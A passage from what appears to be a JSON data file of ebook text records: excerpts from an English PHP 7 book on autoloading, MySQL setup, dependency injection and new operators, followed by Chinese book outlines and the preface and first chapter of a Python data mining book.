individually require all of these classes manually if it weren't for the unified autoloading standard. The PSR-4 standard also states that the autoloader implementation must not throw an exception or raise an error of any level. This is to ensure that possible multiple autoloaders do not break one another. The official, full-length PSR-4: Autoloader Standard guide is available at http://www.php-fig.org/psr/psr-4/ ."},
    {"text": "Installing MySQL Installing MySQL Assuming we are using the fresh Ubuntu 16.10 (Yakkety Yak) installation, the following steps outline how we can set up MySQL: To install MySQL, we execute the following console commands: sudo apt-get update sudo apt-get -y install mysql-server The installation process triggers a console GUI interface that asks us to enter a root user password: The provided password needs to be repeated for confirmation purposes: Once the installation is done, we can execute the following mysql --version command to confirm if the MySQL server is up and running: root@vultr:~# mysql --version mysql Ver 14.14 Distrib 5.7.17, for Linux (x86_64) using EditLine wrapper Once the server is running, we need to secure the installation. This is done by running the following command: sudo mysql_secure_installation The secure installation process triggers an interactive shell with several prompts, asking for the following information: Enter password for user root: Would you like to setup VALIDATE PASSWORD plugin? Please enter 0 = LOW, 1 = MEDIUM and 2 = STRONG: New password: Re-enter new password: Remove anonymous users? Disallow root login remotely? Remove test database and access to it? Reload privilege tables now? The following screenshot depicts this process: Check out https://dev.mysql.com/doc/refman/5.7/en/validate-password-plugin.html for more information about the password validation plugin. Once the secure installation process is done, we can go ahead and connect to MySQL using the mysql console tool, as follows: // INSECURE WAY (bare passwords in a command) mysql -uroot -p'mL08e!Tq' mysql --user=root --password='mL08e!Tq' // SECURE WAY (triggers \"enter password\" prompt) mysql -uroot -p mysql --user=root --password Notice the use of the single quote character ( ' ) around the password. While normally we could use the \" or ' quotes, the ! char used in password forces us to use ' . Without wrapping the password in a single quote, in this case, we will be seeing an error like !Tq: event not found . This is because the exclamation mark ( ! ) is a part of the history expansion in bash. To use it as a part of the password, we need to enclose it in single quotes. Furthermore, our passwords can contain the ' or \" characters. To escape these quotes in the password, we can either use a leading backslash (), or enclose the entire argument in the opposite style of quotes. However, the simplest and safest way to get around quirky password characters is to avoid assigning the password value with -p or --password arguments, and provide the password through the Enter password: prompt. This should give us the following output: Check out https://dev.mysql.com/doc/refman/5.7/en/mysql-shell.html for more information about the MySQL shell."},
    {"text": "Understanding dependency injection container Understanding dependency injection container A dependency injection container is an object that knows how to auto-wire classes together. The auto-wire term implies both instantiating and properly configuring objects. This is by no means an easy task, which is why there are several libraries addressing this functionality. The DependencyInjection component provided by the Symfony framework is a neat dependency injection container that can be easily installed by Composer. Moving forward, let's go ahead and create a di-container directory where we will execute these commands and set up our project: composer require symfony/dependency-injection The resulting output suggests we should install some additional packages: We need to make sure we add the symfony/yaml and symfony/config packages by running the following console commands: composer require symfony/yaml composer require symfony/config The symfony/yaml package installs the Symfony Yaml component. This component parses the YAML strings into PHP arrays and the other way around. The symfony/config package installs the Symfony Config component. This component provides classes to help us find, load, combine, autofill, and validate configuration values from sources, such as YAML, XML, INI files, or even a database itself. The symfony/dependency-injection , symfony/yaml , and symfony/config packages themselves stand as a nice example of loosely coupled components. While the three work hand in hand to deliver the full scope of dependency injection functionality, components themselves follow the principles of loose coupling. Check out http://symfony.com/doc/current/components/dependency_injection.html for more information about the Symfony's DependencyInjection component. Now let's go ahead and create the container.yml configuration file within the di-container directory : services: config: class: Config logger: class: Logger app: class: App autowire: true The container.yml file has a specific structure that begins with the keyword services . Without delving any deeper into it, suffice it to say that the service container is the Symfony's name for dependency injection container, while the service is any PHP object performing some task--basically, an instance of a class of any sort. Right below the services tag, we have the config , logger , and app tags. These denote a declaration of three distinctive services. We could have easily named them the_config , the_logger , the_app , or whatever else we prefer. Drilling deeper into individual services, we see the class tag being common to all three services. The class tag tells the container what class to instantiate when a given service instance is asked for. Finally, the autowire feature used within the app service definition allows the autowiring subsystem to detect the dependencies of the App class by parsing its constructor. This makes it dead simple for a client code to get an instance of the App class without even being aware of the $config and $logger requirements on the App class __construct() . With the container.yml file in place, let's go ahead and create the index.php file within the di-container directory : <?php require_once __DIR__ . '/vendor/autoload.php' ; use Symfony\\Component\\DependencyInjection\\ContainerBuilder; use Symfony\\Component\\Config\\FileLocator; use Symfony\\Component\\DependencyInjection\\Loader\\YamlFileLoader; interface ConfigInterface { /* ... */} interface LoggerInterface { /* ... */} class Config implements ConfigInterface { /* ... */} class Logger implements LoggerInterface { /* ... */} class App { /* ... */} // Bootstrapping $container = new ContainerBuilder(); $loader = new YamlFileLoader( $container , new FileLocator( __DIR__ )); $loader ->load( 'container.yml' ); $container ->compile(); // Client code $app = $container ->get( 'app' ); $app ->run(); Be sure to replace everything from ConfigInterface to App with the exact code we had in our third example from within the Understanding dependency injection section. We started off by including the autoload.php file so we get the auto-loading for our dependency container component working. The code following the use statements is the same code we had in the Understanding dependency injection section. The interesting part comes after it. The instance of ContainerBuilder is created and passed onto YamlFileLoader , which loads the container.yml file. Right after the file is loaded, we call the compile() method on the $container instance. Running compile() allows the container to pick up on the autowire service tag, among other things. Finally, we are using the get() method on the $container instance to fetch an instance of the app service. The client, in this case, has no upfront knowledge of arguments being passed to the App instance; the dependency container handled it all by itself based on a container.yml configuration. Using interface type hints and the container, we are able to write more reusable, testable, and decoupled code. Check out http://symfony.com/doc/current/service_container.html for more information about the Symfony service container."},
    {"text": "The spaceship operator The spaceship operator Comparing two values is a frequent operation in any programming language. We use various language operators to express the type of comparison we wish to execute between two variables. In PHP, these operators include equal ( $a == $b ), identical ( $a === $b ), not equal ( $a != $b or $a <> $b ), not identical ( $a !== $b ), less than ( $a < $b ), greater than ( $a > $b ), less than or equal to ( $a <= $b ), and greater than or equal to ( $a >= $b ) comparisons. All of these comparison operators result in Boolean true or false . Sometimes, however, there are cases where a three-way comparison is needed, in which case, the result of the comparison is more than just a Boolean true or false . While we can achieve a three-way comparison using various operators through various expressions, the solution is all but elegant. With the release of PHP 7, a new spaceship <=> operator has been introduced, with a syntax as follows: (expr) <=> (expr) The spaceship <=> operator offers combined comparison. After comparison, it follows these conditions: It returns 0 if both operands are equal It returns 1 if the left operand is greater It returns -1 if the right operand is greater Comparison rules used to yield the preceding results are the same as those used by existing comparison operators: < , <= , == , >= , and > . The usefulness of the new operator is especially apparent with ordering functions. Without it, the ordering functions were quite robust, as per the following example: $users = ['branko', 'ivana', 'luka', 'ivano']; usort($users, function ($a, $b) { return ($a < $b) ? -1 : (($a > $b) ? 1 : 0); }); We can shorten the preceding example by applying the new operator to it, as follows: $users = ['branko', 'ivana', 'luka', 'ivano']; usort($users, function ($a, $b) { return $a <=> $b; }); Applying the spaceship <=> operator, where applicable, gives the expressions simplicity and elegance. Summary Summary Throughout this chapter, we took a look into some of the most basic, yet lesser known features of PHP OOP that sometimes do not get enough attention in our day-to-day development. Nowadays, most of the mainstream work is focused around working with frameworks and platforms, which tend to abstract some of these concepts from us. Understanding the inner workings of objects is crucial to successfully developing and debugging a larger system. The reflection API provides a great deal of power when it comes to manipulating objects. Combined with the power of magic methods, which we mentioned in Chapter 4 , Magic Behind Magic Methods , the PHP OOP model seems quite feature-rich. Moving forward, we will assume that we have a working application in place and focus on optimizing it for high performance. Void return types Void return types With all the power of function parameter types and function return types introduced in PHP 7, there was one thing missing from the mix function. While function return types allowed specifying a desired return type, they did not allow specifying the lack of return value. To address this inconsistency, the PHP 7.1 release introduced a void return type feature. Why is this important, we might ask ourselves? As with previously mentioned function return types, this feature can be extremely useful for documentation and error-checking purposes. By its nature, PHP does not require a return statement in its function definitions, making it unclear at first look if the function simply executes certain actions or returns a value. Using the void return type makes it clearer that a function's purpose is to perform an action, rather than producing a result. Let's take a look at the following example: function A(): void { // valid } function B(): void { return; // valid } function C(): void { return null; // invalid } function D(): void { return 1; // invalid } The function A and function B methods showcase a valid use of the void type parameter. The function A method has no explicitly set return value, but that ' s OK, as PHP implicitly always returns null. The function B method simply uses the return statement without any following type, which also makes it valid. The function C method is a bit strange, as it looks like it might be valid at first, but it's not. How is it that function C is invalid while the function A method is, even though they do the same thing? Even though return and return null are technically equivalent in PHP, they are not really the same. The existence of a return type, or its lack, denotes a function intent. Specifying return values, even if its null , suggests the value is significant. With a void return type, the return value is insignificant. The use of the void return type, therefore, signifies an unimportant return value, the one that won’t be used anywhere after the function is called. The differentiation between explicit void and implicit null return might come as somewhat foggy. The takeaway here is that using void return types conveys that the function is not supposed to return any kind of value. While they do not make any major impact on the code itself, and their use is fully optional, they do bring a certain richness to the language."},
    {"text": "Table of Contents Table of Contents Preface What this book covers What you need for this book Who this book is for Conventions Reader feedback Customer support Downloading the example code Errata Piracy Questions The All New PHP Scalar type hints Return type hints Anonymous classes Generator delegation Generator return expressions The null coalesce operator The spaceship operator Constant arrays Uniform variable syntax Throwables Group use declarations Catching multiple exceptions types Class constant visibility modifiers Iterable pseudo-type Nullable types Void return types Summary Embracing Standards PSR-1 - basic coding standard PSR-2 - coding style guide PSR-3 - logger interface PSR-4 - autoloading standard PSR-6 - caching interface PSR-7 - HTTP message interface PSR-13 - hypermedia links Summary Error Handling and Logging Error handling Error ArithmeticError DivisionByZeroError AssertionError ParseError TypeError Uncaught error handler Triggering errors Exception Creating a custom exception handler Rethrowing exceptions Uncaught Exception handler Logging Native logging Logging with Monolog Summary Magic Behind Magic Methods Using __construct() Using __destruct() Using __call() Using __callStatic() Using __set() Using __get() Using __isset() Using __unset() Using __sleep() Using __wakeup() Using __toString() Using __invoke() Using __set_state() Using __clone() Using __debugInfo() Usage statistics across popular platforms Summary The Realm of CLI Understanding PHP CLI The Console component Setting up the Console component Creating a console command Dealing with inputs Using Console component helpers Input/output streams Process control Ticks Signals Alarms Multiprocessing Summary Prominent OOP Features Object inheritance Objects and references Object iteration Object comparison Traits Reflection Summary Optimizing for High Performance Max execution time Memory management File uploads Session handling Output buffering Disabling debug messages Zend OPcache Concurrency Summary Going Serverless Using the serverless framework Using Iron.io IronWorker Summary Reactive Programming Similarities with event-driven programming Using RxPHP Installing RxPHP Observable and observer Subject Operator Writing custom operators Non-blocking IO Using React Installing React React event loop Observables and event loop Summary Common Design Patterns Base patterns The registry pattern Creational patterns The singleton pattern The prototype pattern The abstract factory pattern The builder pattern The object pool pattern Behavioral patterns The strategy pattern The observer pattern The lazy initialization pattern The chain of responsibility pattern Structural patterns The decorator pattern Summary Building Services Understanding the client-server relationship Working with SOAP XML extensions Creating server Creating WSDL file Creating client Working with REST JSON extensions Creating server Creating client Working with Apache Thrift (RPC) Installing Apache Thrift Defining service Creating server Creating client Understanding microservices Summary Working with Databases Working with MySQL Installing MySQL Setting up sample data Querying via the MySQLi driver extension Connecting Error handling Selecting Binding parameters Inserting Updating Deleting Transactions Querying via the PHP Data Objects driver extension Connecting Error handling Selecting Inserting Updating Deleting Transactions Working with MongoDB Installing MongoDB Setting up sample data Querying via the MongoDB driver extension Connecting Error handling Selecting Inserting Updating Deleting Transactions Working with Redis Installing Redis Setting up sample data Querying via the phpredis driver extension Connecting Error handling Selecting Inserting Updating Deleting Transactions Summary Resolving Dependencies Mitigating the common problem Understanding dependency injection Understanding dependency injection container Summary Working with Packages Understanding Composer Understanding Packagist Using third-party packages Creating your own package Distributing your package Summary Testing the Important Bits PHPUnit Setting up the PHPUnit Setting up a sample application Writing test Executing tests Code coverage Behat Setting up Behat Setting up a sample application Writing test Executing tests phpspec Setting up phpspec Writing test Executing tests jMeter Writing test Executing tests Summary Debugging, Tracing, and Profiling Xdebug Installation Debugging Tracing Profiling Zend Z-Ray Installing Zend Server Setting up the virtual host Using Z-Ray Summary Hosting, Provisioning, and Deployment Choosing the right hosting plan Shared server Virtual private server Dedicated server PaaS Automating provisioning Setting up the workstation machine Setting up the server machine Configuring Ansible Provisioning a web server Automating the deployment Installing Deployer Using Deployer Continuous integration Jenkins Summary"},
    {"text": "index\nCover\nindex Document Outline 封面 扉页 内容简介 版权页 前言 目录 第1篇 入门篇 第1章 PHP基础 第2章 PHP基础语法 第3章 函数 第4章 数组 第5章 面向对象的PHP 第6章 高级OOP特性 第7章 错误和异常处理 第8章 字符串和正则表达式 第2篇 提高篇 第9章 处理文件和操作系统 第10章 MySQL数据库 第11章 PHP和数据访问 第12章 PEAR 第13章 Cookie和会话 第14章 用户身份验证 第15章 PHP和XML 第3篇 实践篇 第16章 聊天室设计 第17章 留言板 第18章 会员管理系统 第19章 投票管理系统 第20章 图书管理系统 第21章 产品进销存管理系统 正文结束"},
    {"text": "PHP应用程序安全编程 Document Outline 封面 书名 版权 前言 目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208"},
    {"text": "Cover 大数据技术丛书 Python数据分析与挖掘实战 张良均 等著 ISBN：978-7-111-52123-5 本书纸版由机械工业出版社于2015年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook） 目录页 目录 前言 基础篇 第1章 数据挖掘基础 1.1 某知名连锁餐饮企业的困惑 1.2 从餐饮服务到数据挖掘 1.3 数据挖掘的基本任务 1.4 数据挖掘建模过程 1.5 常用的数据挖掘建模工具 1.6 小结 第2章 Python数据分析简介 2.1 搭建Python开发平台 2.2 Python使用入门 2.3 Python数据分析工具 2.4 配套资源使用设置 2.5 小结 第3章 数据探索 3.1 数据质量分析 3.2 数据特征分析 3.3 Python主要数据探索函数 3.4 小结 第4章 数据预处理 4.1 数据清洗 4.2 数据集成 4.3 数据变换 4.4 数据规约 4.5 Python主要数据预处理函数 4.6 小结 第5章 挖掘建模 5.1 分类与预测 5.2 聚类分析 5.3 关联规则 5.4 时序模式 5.5 离群点检测 5.6 小结 实战篇 第6章 电力窃漏电用户自动识别 6.1 背景与挖掘目标 6.2 分析方法与过程 6.3 上机实验 6.4 拓展思考 6.5 小结 第7章 航空公司客户价值分析 7.1 背景与挖掘目标 7.2 分析方法与过程 7.3 上机实验 7.4 拓展思考 7.5 小结 第8章 中医证型关联规则挖掘 8.1 背景与挖掘目标 8.2 分析方法与过程 8.3 上机实验 8.4 拓展思考 8.5 小结 第9章 基于水色图像的水质评价 9.1 背景与挖掘目标 9.2 分析方法与过程 9.3 上机实验 9.4 拓展思考 9.5 小结 第10章 家用电器用户行为分析与事件识别 10.1 背景与挖掘目标 10.2 分析方法与过程 10.3 上机实验 10.4 拓展思考 10.5 小结 第11章 应用系统负载分析与磁盘容量预测 11.1 背景与挖掘目标 11.2 分析方法与过程 11.3 上机实验 11.4 拓展思考 11.5 小结 第12章 电子商务网站用户行为分析及服务推荐 12.1 背景与挖掘目标 12.2 分析方法与过程 12.3 上机实验 12.4 拓展思考 12.5 小结 第13章 财政收入影响因素分析及预测模型 13.1 背景与挖掘目标 13.2 分析方法与过程 13.3 上机实验 13.4 拓展思考 13.5 小结 第14章 基于基站定位数据的商圈分析 14.1 背景与挖掘目标 14.2 分析方法与过程 14.3 上机实验 14.4 拓展思考 14.5 小结 第15章 电商产品评论数据情感分析 15.1 背景与挖掘目标 15.2 分析方法与过程 15.3 上机实验 15.4 拓展思考 15.5 小结 参考文献"},
    {"text": "那么数据挖掘是什么？ 数据挖掘是从大量数据（包括文本）中挖掘出隐含的、先前未知的、对决策有潜在价值的关系、模式和趋势，并用这些知识和规则建立用于决策支持的模型，提供预测性决策支持的方法、工具和过程。 数据挖掘有助于企业发现业务的趋势，揭示已知的事实，预测未知的结果，因此“数据挖掘”已成为企业保持竞争力的必要方法。"},
    {"text": "但跟国外相比，由于我国信息化程度不太高，企业内部信息不完整，零售业、银行、保险和证券等对数据挖掘的应用并不理想。 但随着市场竞争的加剧，各行业对数据挖掘技术的需求越来越强烈，可以预计，未来几年各行业的数据分析应用一定会从传统的统计分析发展到大规模数据挖掘应用。 在大数据时代，数据过剩、人才短缺，数据挖掘专业人才的培养又需要专业知识和职业经验积累。 本书注重数据挖掘理论与项目案例实践相结合，可以让读者获得真实的数据挖掘学习与实践环境，更快、更好地学习数据挖掘知识与积累职业经验。"},
    {"text": "大数据已经渗透到每一个行业和业务职能领域，逐渐成为重要的生产要素，人们对于海量数据的运用预示着新一轮生产率增长和消费者盈余浪潮的到来。"},
    {"text": "大数据分析技术将帮助企业用户在合理时间内攫取、管理、处理、整理海量数据，为企业经营决策提供帮助。 大数据分析作为数据存储和挖掘分析的前沿技术，广泛应用于物联网、云计算和移动互联网等战略性新兴产业。 虽然大数据目前在国内还处于初级阶段，但是其商业价值已经显现出来，特别是有实践经验的大数据分析人才更是各企业争夺的热门。 为了满足日益增长的大数据分析人才需求，很多大学开始尝试开设不同程度的大数据分析课程。 “大数据分析”作为大数据时代的核心技术，必将成为高校数学与统计学专业的重要课程之一。"},
    {"text": "本书特色 本书从实践出发，结合大量数据挖掘工程案例及教学经验，以真实案例为主线，深入浅出地介绍数据挖掘建模过程中的有关任务：数据探索、数据预处理、分类与预测、聚类分析、时序预测、关联规则挖掘、智能推荐和偏差检测等。 因此，图书的编排以解决某个应用的挖掘目标为前提，先介绍案例背景提出挖掘目标，再阐述分析方法与过程，最后完成模型构建。 在介绍建模过程的同时穿插操作训练，把相关的知识点嵌入相应的操作过程中。"},
    {"text": "根据读者对案例的理解，本书配套提供真实的原始样本数据文件，读者可以从“泰迪杯”全国大学生数据挖掘竞赛网站（ http://www.tipdm.org/ts/661.jhtml ）免费下载。"},
    {"text": "另外，为方便教师授课，本书还特意提供了建模阶段的过程数据文件、Python语言代码程序和PPT课件，以及基于Python、SAS、SPSS Modeler等上机实验环境下的数据挖掘各阶段程序/模型及相关代码，读者可通过本书“勘误和支持”中提供的联系方式咨询获取。 本书适用对象 （1）开设数据挖掘课程的高校教师和学生 目前，国内不少高校将数据挖掘引入本科教学中，在数学、计算机、自动化、电子信息和金融等专业开设了数据挖掘技术相关课程，但目前这一课程的教学仍然主要限于理论介绍。"},
    {"text": "（2）需求分析及系统设计人员 需求分析及系统设计人员可以在理解数据挖掘原理与建模过程的基础上，结合数据挖掘案例完成精确营销、客户分群、交叉销售、流失分析、客户信用记分、欺诈发现和智能推荐等数据挖掘应用的需求分析和设计。 （3）数据挖掘开发人员 数据挖掘开发人员可以在理解数据挖掘应用需求和设计方案的基础上，结合本书提供的基于第三方接口快速完成数据挖掘应用的编程实现。 （4）进行数据挖掘应用研究的科研人员 许多科研院所为了更好地对科研工作进行管理，纷纷开发了适应自身特点的科研业务管理系统，并在使用过程中积累了大量的科研信息数据。"},
    {"text": "但是，数据挖掘的预测分析解决方案还能使关注高级数据分析的人员预见未来的发展状况，使他们的机构能够先发制人，而不是处于被动。 因为数据挖掘的预测分析解决方案将复杂的统计方法和机器学习技术应用到数据之中，通过使用预测分析技术来揭示隐藏在交易系统或企业资源计划（ERP）、结构数据库和普通文件中的模式与趋势，从而为这类人员的决策提供科学依据。"},
    {"text": "基础篇介绍了数据挖掘的基本原理，实战篇介绍了一个个真实案例，通过对案例深入浅出的剖析，使读者在不知不觉中通过案例实践获得数据挖掘项目经验，同时快速领悟看似难懂的数据挖掘理论。 读者在阅读过程中，应充分利用随书配套的案例建模数据，借助相关的数据挖掘建模工具，通过上机实验快速理解相关知识与理论。 基础篇（第1~5章），第1章的主要内容是数据挖掘概述；"},
    {"text": "在案例结构组织上，本书是按照先介绍案例背景与挖掘目标，再阐述分析方法与过程，最后完成模型构建的顺序进行的，在建模过程的关键环节穿插程序实现代码。"},
    {"text": "本书的全部建模数据文件及源程序，可以从“泰迪杯”全国大学生数据挖掘竞赛网站（ www.tipdm.org ）下载，我们会将相应内容的更新及时发布出来。"},
    {"text": "在此谨向中国电力科学研究院、广东电力科学研究院、广西电力科学研究院、广东电信规划设计院、珠江/黄海水产研究所、轻工业环境保护研究所、华南师范大学、广东工业大学、广东技术师范学院、南京中医药大学、华南理工大学、湖南师范大学、韩山师范学院、广东石油化工学院、中山大学、广州泰迪智能科技有限公司、武汉泰迪智慧科技有限公司等单位给予支持的专家与师生致以深深的谢意。"},
    {"text": "本书得到华北科技学院“应用数学”校级重点学科建设项目资助（项目编号hkxjzd 201402），同时在本书的编辑和出版过程中还得到了参与“泰迪杯”全国大学生数据挖掘建模竞赛（ http://www.tipdm.org ）的众多师生，以及机械工业出版社杨福川、高婧雅等人的无私帮助与支持，在此一并表示感谢。"},
    {"text": "基础篇 ·第1章 数据挖掘基础 ·第2章 Python数据分析简介 ·第3章 数据探索 ·第4章 数据预处理 ·第5章 挖掘建模 第1章 数据挖掘基础 1.1 某知名连锁餐饮企业的困惑 国内某餐饮连锁有限公司（以下简称T餐饮）成立于1998年，主要经营粤菜，兼顾湘菜、川菜等综合菜系。至今已经发展成为在国内具有一定知名度、美誉度，多品牌、立体化的大型餐饮连锁企业。员工1000多人，拥有16家直营分店，经营总面积近13000平方米，年营业额近亿元。其旗下各分店均坐落在繁华市区主干道，雅致的装潢，配之以精致的饰品、灯具、器物，出品精美，服务规范。 近年来餐饮行业面临较为复杂的市场环境，与其他行业一样，餐饮企业都遇到了原材料成本升高、人力成本升高、房租成本升高等问题，这也使得整个行业的利润急剧下降。人力成本和房租成本的上升是必然趋势，如何在保持产品质量的同时提高企业效率，成为了T餐饮企业急需解决的问题。从2000年开始，T餐饮企业通过加强信息化管理来提高效率，目前已上线的管理系统如下。 （1）客户关系管理系统 客户关系管理系统详细记录了每位客人的喜好，为顾客提供个性化服务，满足客户个性化需求。通过客户关怀，提高客户的忠诚度。例如，企业能随时查询今天哪位客人过生日或其他纪念日，根据客人的价值分类进行相应关怀，如送鲜花、生日蛋糕和寿面等。通过本系统，还可对客户行为进行深入分析，包括客户价值分析、新客户分析与发展，并根据其价值情况提供给管理者，为企业提供决策支持。 （2）前厅管理系统 前厅管理系统通过掌上电脑无线点菜方式，改变了传统“饭店点菜、下单、结账一支笔、一张纸，服务员来回跑的局面”，快速完成点菜过程。通过厨房自动送达信息，服务员的写菜速度加快，不需要再通过手写，同时传菜部也轻松不少，菜单会通过电脑自动打印出来，差错率降低，也不存在厨房人员看不懂服务员字迹而搞错的问题。 （3）后厨管理系统 信息化技术可实现后厨与前厅沟通无障碍，客人菜单瞬间传到厨房。服务员只需单击掌上电脑的发送键，客人的菜单即被传送到收银管理系统中，由系统的电脑发出指令，设在厨房等处的打印机立即打印出相应的菜单，厨师按单做菜。与此同时，收银台也打印出一张同样的菜单放在客人桌上，以备客人查询以及作结账凭据，使客人明明白白地消费。 （4）财务管理系统 财务管理系统完成销售统计、销售分析、财务审计，实现对日常经营销售的管理。通过报表，企业管理者很容易掌握前台的销售情况，从而达到对财务的控制。通过表格和图形显示餐厅的销售情况，如菜品排行榜、日客户流量、日销售收入分析等；通过统计每天的出菜情况，我们可以了解哪些是滞销菜，哪些是畅销菜，从而了解顾客的品位，有针对性地制定出一套既适合餐饮企业发展又能迎合顾客品位的菜肴体系和定价策略。 （5）物资管理系统 物资管理系统主要完成对物资的进销存，实际上就是一套融采购管理（入库、供应商管理、账款管理）、销售（通过配菜卡与前台销售联动）、盘存为一体的物流管理系统。对于连锁企业，还涉及统一配送管理等。 通过以上信息化的建设，T餐饮已经积累了大量的历史数据，有没有一种方法可帮助企业从这些数据中洞察商机，提取价值？在同质化的市场竞争中，怎样找到一些市场以前并不存在的“捡漏”和“补缺”呢？"},
    {"text": "1.2 从餐饮服务到数据挖掘 企业经营最大的目的就是盈利，而餐饮业企业盈利的核心就是其菜品和顾客，也就是其提供的产品和服务对象。企业经营者每天都在想推出什么样的菜系和种类能吸引更多的顾客，究竟顾客各自的喜好是什么，在不同的时段是不是有不同的菜品畅销，当把几种不同的菜品组合在一起推出时是不是能够得到更好的效果，未来一段时间菜品原材料应该采购多少…… T餐饮的经营者想尽快地解决这些疑问，使自己的企业更加符合现有顾客的口味，吸引更多的新顾客，又能根据不同的情况和环境转换自己的经营策略。T餐饮在经营过程中，通过分析历史数据，总结出一些行之有效的经验。 ·在点餐过程中，由有经验的服务员根据顾客特点进行菜品推荐，一方面可提高菜品的销量，另一方面可减少客户点餐的时间和频率，提高用户体验。 ·根据菜品历史销售情况，综合考虑节假日、气候和竞争对手等影响因素，对菜品销量进行预测，以便餐饮企业提前准备原材料。 ·定期对菜品销售情况进行统计，分类统计出好评菜和差评菜，为促销活动和新菜品推出提供支持。 ·根据就餐频率和金额对顾客的就餐行为进行评分，筛选出优质客户，定期回访和送去关怀。 上述措施的实施都依赖于企业已有业务系统中保存的数据，但是目前从这些数据中获得有关产品和客户的特点以及能够产生价值的规律更多依赖于管理人员的个人经验。如果有一套工具或系统，能够从业务数据中自动或半自动地发现相关的知识和解决方案，这将极大地提高企业的决策水平和竞争能力。这种从数据中“淘金”，从大量数据（包括文本）中挖掘出隐含的、未知的、对决策有潜在价值的关系、模式和趋势，并用这些知识和规则建立用于决策支持的模型，提供预测性决策支持的方法、工具和过程，就是数据挖掘；它是利用各种分析工具在大量数据中寻找其规律和发现模型与数据之间关系的过程，是统计学、数据库技术和人工智能技术的综合。 这种分析方法可避免“人治”的随意性，避免企业管理仅依赖个人领导力的风险和不确定性，实现精细化营销与经营管理。 1.3 数据挖掘的基本任务 数据挖掘的基本任务包括利用分类与预测、聚类分析、关联规则、时序模式、偏差检测、智能推荐等方法，帮助企业提取数据中蕴含的商业价值，提高企业的竞争力。 对餐饮企业而言，数据挖掘的基本任务是从餐饮企业采集各类菜品销量、成本单价、会员消费、促销活动等内部数据，以及天气、节假日、竞争对手以及周边商业氛围等外部数据；之后利用数据分析手段，实现菜品智能推荐、促销效果分析、客户价值分析、新店选点优化、热销/滞销菜品分析和销量趋势预测；最后将这些分析结果推送给餐饮企业管理者及有关服务人员，为餐饮企业降低运营成本、增加盈利能力、实现精准营销、策划促销活动等提供智能服务支持。"},
    {"text": "·实现动态菜品智能推荐，帮助顾客快速发现自己感兴趣的菜品，同时确保推荐给顾客的菜品也是餐饮企业所期望的，实现餐饮消费者和餐饮企业的双赢。"},
    {"text": "·对餐饮客户进行细分，了解不同客户的贡献度和消费特征，分析哪些客户是最有价值的，哪些是最需要关注的，对不同价值的客户采取不同的营销策略，将有限的资源投放到最有价值的客户身上，实现精准化营销。"},
    {"text": "·随机抽样：在采用随机抽样方式时，数据集中的每一组观测值都有相同的被抽样的概率。 如按10%的比例对一个数据集进行随机抽样，则每一组观测值都有10%的机会被取到。"},
    {"text": "·等距抽样：如按5%的比例对一个有100组观测值的数据集进行等距抽样，则有100/5＝20，等距抽样方式是取第20、40、60、80和第100这5组观测值。"},
    {"text": "分类抽样则依据某种属性的取值来选择数据子集，如按客户名称分类、按地址区域分类等。 分类抽样的选取方式就是前面所述的几种方式，只是抽样以类为单位。"},
    {"text": "基于上节定义的针对餐饮行业的挖掘目标，需从客户关系管理系统、前厅管理系统、后厨管理系统、财务管理系统和物资管理系统中抽取用于建模和分析的餐饮数据，主要内容如下。"},
    {"text": "1）餐饮企业信息：名称、位置、规模、联系方式，以及部门、人员、角色等。 2）餐饮客户信息：姓名、联系方式、消费时间、消费金额等。 3）餐饮企业菜品信息：菜品名称、菜品单价、菜品成本、所属部门等。 4）菜品销量数据：菜品名称、销售日期、销售金额、销售份数。 5）原材料供应商资料及商品数据：供应商姓名、联系方式、商品名称、客户评价信息。 6）促销活动数据：促销日期、促销内容、促销描述。"},
    {"text": "1.4.4 数据预处理 当采样数据维度过大时，如何进行降维处理、缺失值处理等都是数据预处理要解决的问题。 由于采样数据中常常包含许多含有噪声、不完整，甚至不一致的数据，对数据挖掘所涉及的数据对象必须进行预处理。 那么，如何对数据进行预处理以改善数据质量，并最终达到完善最终数据挖掘结果的目的呢？ 针对采集的餐饮数据，数据预处理主要包括：数据筛选、数据变量转换、缺失值处理、坏数据处理、数据标准化、主成分分析、属性选择、数据规约等，有关介绍详见第3章。"},
    {"text": "1.4.5 挖掘建模 样本抽取完成并经预处理后，接下来要考虑的问题是：本次建模属于数据挖掘应用中的哪类问题（分类、聚类、关联规则、时序模式或者智能推荐），选用哪种算法进行模型构建？"},
    {"text": "针对餐饮行业的数据挖掘应用，挖掘建模主要包括基于关联规则算法的动态菜品智能推荐、基于聚类算法的餐饮客户价值分析、基于分类与预测算法的菜品销量预测、基于整体优化的新店选址。"},
    {"text": "以菜品销量预测为例，模型构建是对菜品历史销量，是综合考虑了节假日、气候和竞争对手等采样数据轨迹的概括，它反映的是采样数据内部结构的一般特征，并与该采样数据的具体结构基本吻合。 模型的具体化就是菜品销量预测公式，公式可以产生与观察值有相似结构的输出，这就是预测值。"},
    {"text": "1.4.6 模型评价 从1.4.5节的建模过程中会得出一系列的分析结果，模型评价的目的之一就是从这些模型中自动找出一个最好的模型，另外就是要根据业务对模型进行解释和应用。"},
